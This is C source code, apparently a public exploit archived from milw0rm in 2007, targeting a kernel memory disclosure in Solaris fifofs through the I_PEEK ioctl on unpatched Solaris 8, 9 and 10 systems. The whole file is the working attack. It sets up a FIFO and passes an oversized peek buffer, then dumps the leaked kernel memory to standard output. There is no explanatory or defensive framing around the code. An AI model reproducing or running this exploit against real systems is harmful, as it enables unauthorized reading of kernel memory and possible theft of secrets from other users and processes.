105 lines
No EOL
1.9 KiB
C
105 lines
No EOL
1.9 KiB
C
/* 10/2007: public release
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* SPARC
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* Solaris 8 without 109454-06
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* Solaris 9 without 117471-04
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* Solaris 10 without 127737-01
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* x86
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* Solaris 8 without 109455-06
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* Solaris 9 without 117472-04
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* Solaris 10 without 127738-01
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*
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* Solaris fifofs I_PEEK Kernel Memory Disclosure
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* By qaaz
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <fcntl.h>
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#include <unistd.h>
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#include <stropts.h>
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#include <sys/mman.h>
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#include <sys/stat.h>
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#include <sys/types.h>
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#define PAGE_COUNT 1000
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int main(int argc, char *argv[])
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{
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struct strpeek strpeek;
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char *buf, *end;
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int pg = PAGE_COUNT, fd, pagesz, bufsz;
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fprintf(stderr,
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"---------------------------------------\n"
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" Solaris fifofs I_PEEK Kmem Disclosure\n"
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" By qaaz\n"
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"---------------------------------------\n");
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if (argc > 1) pg = atoi(argv[1]);
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pagesz = getpagesize();
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if (mknod("fifo", S_IFIFO | 0666, 0) < 0) {
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perror("mknod");
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return -1;
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}
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switch (fork()) {
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case -1:
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perror("fork");
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goto cleanup;
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case 0:
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if ((fd = open("fifo", O_WRONLY)) < 0) {
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perror("open");
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exit(0);
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}
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write(fd, "abcd", 4);
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exit(0);
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break;
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default:
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if ((fd = open("fifo", O_RDONLY)) < 0) {
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perror("open");
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goto cleanup;
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}
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break;
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}
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bufsz = (pg + 1) * pagesz;
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if (!(buf = memalign(pagesz, bufsz))) {
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perror("malloc");
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goto cleanup;
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}
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memset(buf, 0, bufsz);
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end = buf + (pg * pagesz);
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fprintf(stderr, "-> [ %p .. %p ]\n", buf, end);
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fflush(stderr);
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if (mprotect(end, pagesz, PROT_NONE) < 0) {
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perror("mprotect");
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goto cleanup;
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}
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memset(&strpeek, 0, sizeof(strpeek));
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strpeek.databuf.buf = buf;
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strpeek.databuf.maxlen = -1;
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if (ioctl(fd, I_PEEK, &strpeek) < 0) {
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perror("ioctl");
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goto cleanup;
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}
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while (end > buf && end[-1] == 0)
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end--;
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fprintf(stderr, "== %d\n", (int) (end - buf));
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fflush(stderr);
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if (!isatty(1))
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write(1, buf, (size_t) (end - buf));
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cleanup:
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unlink("fifo");
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return 0;
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}
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// milw0rm.com [2007-10-10]
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